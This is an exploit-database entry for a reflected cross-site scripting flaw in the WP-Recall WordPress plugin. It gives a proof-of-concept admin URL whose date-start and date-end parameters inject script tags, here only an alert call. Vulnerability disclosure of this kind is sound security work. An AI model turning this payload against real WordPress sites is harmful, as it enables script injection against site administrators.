Exploit for WP-Recall < 16.24.48 - Reflected Cross-Site Scripting

wpexploit · 2021-10-05

Exploit Code

MARKDOWN4 lines

## https://sploitus.com/exploit?id=WPEX-ID:29B1BC54-EB51-4061-82D6-BBA0404D00C0
Activate the Commerce Add-On of the plugin and open the below URL

https://example.com/wp-admin/admin.php?page=manage-rmag&date-start="><script>alert(/XSS-date-start/)</script>&date-end="><script>alert(/XSS-date-end/)</script>